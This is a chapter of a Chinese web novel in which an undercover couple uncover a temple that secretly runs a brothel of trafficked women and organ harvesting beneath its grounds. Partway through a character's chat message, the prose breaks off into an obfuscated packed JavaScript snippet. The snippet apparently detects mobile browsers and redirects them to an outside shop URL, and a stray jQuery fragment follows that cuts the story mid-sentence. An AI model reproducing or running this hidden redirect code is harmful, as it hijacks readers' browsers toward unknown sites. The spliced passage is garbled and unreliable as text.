日落时分,赵海终于停止了他的长篇大论。
女人们却并没有因此起身离开,而是安安静静地坐在座位上等待。
直到一个男人身影出现在讲堂的门口,对着里面叫唤:“陈真,回家吧。”
那名为陈真的女人缓缓回头,在经历过赵海的洗脑之后,她对男人的态度并不热切,没怎么看他,站起身来低着头走男人身边就和他一起离开了。
因为距离不近,所以她也没有发现男人身上有着沐浴后的馨香,和他脸上不自然的潮红。
陈真的丈夫因此松了口气。
阙烬兰用余光目睹了这一切,微不可查地冷哼一声。
不要脸。
越来越多的男人来到讲堂外,越来越多的“陈真”默默离开,越来越多的肮脏被掩埋于有心人营造的平静之下。
“阿兰。”
直到一阵有穿透力的清澈男声响起,阙烬兰才缓缓抬头,有模有样地学着之前出去的女人,低着头默不作声,临走之际没忘记从赵海手上要过手机。
“记住,想要子女福缘就要自持,尤其对于丈夫。”
赵海轻声叮嘱,阙烬兰虚心接受,腹诽不止。
王八蛋。
她拾起些微薄笑意看着面前的老家伙,随后抬起头来看向门外的男人,只有满眼的冷意。
赵海欣然于这个变化,虽然女人管和不管,都阻止不了具有劣根性的猫去偷腥,但这般态度却能让他们的地下产业长久以来不被发现,倒是美事一桩。
讲堂剩余的女人不算多,男人一个接着一个回来,几乎各个都满面春风,却被强行抚平嘴角。
就没有一个有脑子有理智能管住自己的吗?
也是,具备以上三者的男人,也不会把老婆带到不知起源的寺庙以为听个什么讲堂就能有子孙后代。
“阿兰。”
见阙烬兰不理自己,谢邑再叫了一声,谁曾想面前女人脚步更是加快,让他颇有些紧张和不解。知道此处不是讲话的地方,于是他也只能跟着阙烬兰的步伐,离开了钟楼。
“小鸟。”
避人耳目后,他低声牵起阙烬兰的手:“刚刚去的地方装了信号屏蔽仪,耳麦超过了距离以后不能沟通,我不是故意不理你的。”
还沉浸在自己思考中的阙烬兰手陡然一暖,抬起头看着夕阳下反着光谢邑的脑门,不自觉咧嘴一笑,真亮堂。
“嗯?”
后来意识到他在说些什么,忙摆了摆手:“不是,我只是在想为什么这些人见到一丁点的诱惑就陷入其中了呢,明明知道这样做会对不起他们的配偶。”
谢邑听到她的问题反问道:“我以为你会想问我有没有...”
“你不会啊。”
阙烬兰斜睨了发问的男人后就不再看他光秃秃的脑袋,反而就像被牵住的手,自然地贴近,挽紧了谢邑的手臂向后院走去。
他们的身后,几对夫妻貌合神离地走着,无一例外地低着头,身体间隔着一道无形的墙。就在他们走向前院时,一道残阳的光芒穿透云层,恰如其分地劈开了阙烬兰谢邑二人和其他夫妻之间。
泾渭分明,亲疏有别。
面对小鸟全然的信任,谢邑并未感到责任沉重、令人窒息,反倒是像在口中含了甜甜的蜜。
幸而他有足够的底气与韧性,只尝到了绵密的甜,而非让人喘不上气的疼。因为他过往的所教所得,早已从里到外地铸成铁甲将他包裹,不容他辜负这般毫无保留的信任。
“嗯,我不会。”
他含着浅笑,想着小鸟的问题却又沉沉叹出一口气:“如果不能处理诱惑,只能说明不够喜欢。但他们这么欺骗自己的妻子,人品实在是差劲至极。”
阙烬兰更为简单直接:“因为他们是傻13。”
“你是不是不喜欢我的造型?”
想起小鸟刚刚对着自己脑袋走神,谢邑拧着眉垂眸看着脚:“是不是我不好看你就不喜欢了?”
他怎么随时随地都可以这么轻而易举的破碎,虽然都是在仅限两人所在的单独场合。
算了,都怪自己给他整的这个光头皮套。
阙烬兰在心底叹了声气,面上却不敢表现的有什么不对,只得踮起脚轻轻将唇印在他的脸颊上:“无论你怎么样我都喜欢。”
神色自然,但是嘴上迅速转移话题:“正事要紧。”
谢邑很快就被哄好,于是也肃然道:“你猜的没错。”
听着他的口吻,阙烬兰若有所思。
果然,这里有个银窝。
这会走到了后院,两人一道上去了阙烬兰所在的二楼,反锁门后在轻声进行交流。
据谢邑所说,他刚到顶楼整理好没一会,一个陌生的小师傅就敲响了他的门。
“小师傅说他叫净喜,他叫我放心,女人们都在钟楼祈福。接着他就把我带到了杂货间前,打开门里面是一座电梯。”
那座电梯只有一个按钮,只能通向负一层。
阙烬兰听到这里来了气,后院里没有电梯,无论几楼都得爬楼,感情不是没有电梯,是只提供给特定的人群。
谢邑给她顺了顺毛:“负一楼就是那种地方了,就像是鸭总会那般,只是性别颠倒,服务商品变成了女性。”
女人们有的神色麻木,有的看起来很适应那种环境。而参与讲堂的女人们的丈夫基本都在那里,有的显而易见不是第一次去。
“我将一个看起来很害怕的女人带走糊弄净喜,那个女人说她是一个大学生出来找实习的,看到了高薪招聘去一个写字楼面试,再睁眼就被拐了进来,这里的人动辄打骂她们,如果逃走被抓到了就只有死路一条,所以从来没有人尝试过逃离这里。”
而这并不是最恐怖的。
据那个女人所说,只要她们赚够了一百万,这个会所就会把她们放走。可是后来谢邑给她注射了安定剂后出去探查,却发现这个后院还有地下好几层,他偷偷潜入却发现有好几间手术室,大多干的是取下器官的勾当。
且不论这些女人交了一百万出去会不会曝光这里,如果这里存在器官贩卖,那就不是普通的银窝,会所怎么可能轻而易举地就放这些女人离开?
“所以这一百万只是一颗苹果,吊在这些可怜女人的面前,让她们能够听话。”
阙烬兰听得大喘气:“真是没有天理王法了。”
“而且她们似乎并不知道这里是佘喜山的慈母寺,她们还以为自己是在某个三不管的边境小国。”
看着炸毛小鸟,谢邑虽心中也有气,此时却顾不得了,抬起手来帮她顺着气。
这是因为她们被拐进来就从来没有得到允许出去放风,一直过的都是暗无天日的日子。
阙烬兰想到这里都想拿起手机报警了。
可是慈母寺如此猖獗,背后难道会没有保护伞吗?
必须得连根拔起,即便现今要忍辱负重。
她肩膀微微垂下,揉了揉脸后拿起手机解锁,看到了之前诺辛发来的消息。
...果然是她回复了。
刚刚还好解开的是另一个系统。
雀雀:诺辛,你家族盘踞的山名是什么?
诺小蛇:雀雀,抱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630566|183302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
歉,刚刚在躲避王如椿的人,我的家是佘喜山。怎么了?
...果然。
她在手机上敲敲打打。
雀雀:你去过慈母寺吗?
诺小蛇:没有,这个寺庙是近年新建的。后来我也没空去寺庙,我的问题神佛给不了我解答。
......
诺辛从头到尾都被王如椿那群人欺骗了。
“这个慈母寺绝对有王如椿的参与。”
阙烬兰看向谢邑,斩钉截铁。
不,不只是慈母寺。
佘喜山作为违规垃圾的处理填埋场所,估计也有王如椿的手笔。
但是诺辛作为母亲为自己的孩子求得一线生机,是王如椿没有预料到的,于是他将计就计,拉拢了诺辛为自己的青云天铺路。
如果她来慈母寺,她就会看到这个慈母娘娘是她的小儿子。可她一次都没来过,她的一切行为都被王如椿那个老狐狸设想好了。
灯下黑。
但现在还不能和诺辛说,事关她的亲人......
想到地下的那群可怜女人和地面上被丈夫联合外人欺骗的妻子们,阙烬兰目光越发沉冷。
现在绝对不能打草惊蛇。
“那现在,我们得先想办法去接近赵海,看看能不能从他的身上得到些什么信息。”
谢邑刚小声说道,门外又响起了敲门声,伴随着净迷颇为无奈地叹息:“施主,你丈夫是不是又来你房间了?”
怎么一个个都跟狗鼻子似得。
阙烬兰对着谢邑点点头,听到门外声响的一刹那决定将计就计,抬手就给了自己一巴掌,这一巴掌下去可是实打实的,半张脸都泛起了红,看得谢邑下意识上前一步想要抚摸,可阙烬兰根本不给他机会,转身打开门哭诉:“呜...小师傅,你可得为我做主。我男人才一下午不见,就跟变了个人一样,这日子没法过了!”
谢邑:?
阙烬兰哽咽道:“他从前恨不得日日夜夜挂在我身上。”
净迷看着眼前脸面蜡黄的女人和那个站在一旁秃头龅牙的男人表示无法想象这个画面。
接着,阙烬兰泪如雨下:“可是现在,他变了,我刚一碰他就往后退,我质问他他却反手给了我一巴掌!”
在净迷看不到的地方,她疯狂给男人使眼色。
谢邑脑子里闪过很多辱骂的、令人恶心的词语,可是对着面前的女人,他才发现怎么样都说不出口。
于是他冷哼:“我没什么好说的。”
这边是如火如荼,净迷却过了好一会才开口,他先是向前走了几步来到谢邑面前给他递了一把钥匙,那是有着电梯的杂货间的钥匙:“施主,佛门圣地不要动怒,先去消消火。”
等谢邑离开,他再转过身来看着哭得辣手摧花的阙烬兰:“施主,你也不要伤心了。”
“你叫他走了,我怎么办?”
阙烬兰耍起了无赖。
净迷犯了难:“那施主道该如何呢?”
阙烬兰面上抽泣着:“我想去见住持...只有他能推开我蒙尘的心门...”
只有他能推开我走向真相的大门。
净迷闻声仔细想了会,阙烬兰哭的声音越来越大,就像是拖拉机一样,吵得让人头闷疼,于是他妥协了:“我可以带你去,但是如果住持不想见你,我也没法了。”
“好说...”她往上吸了吸鼻涕:“好说...”
得手了。
谢邑拿着钥匙打开电梯通向负一楼,阙烬兰跟在净迷身后即将见到赵海。
两人如是想到。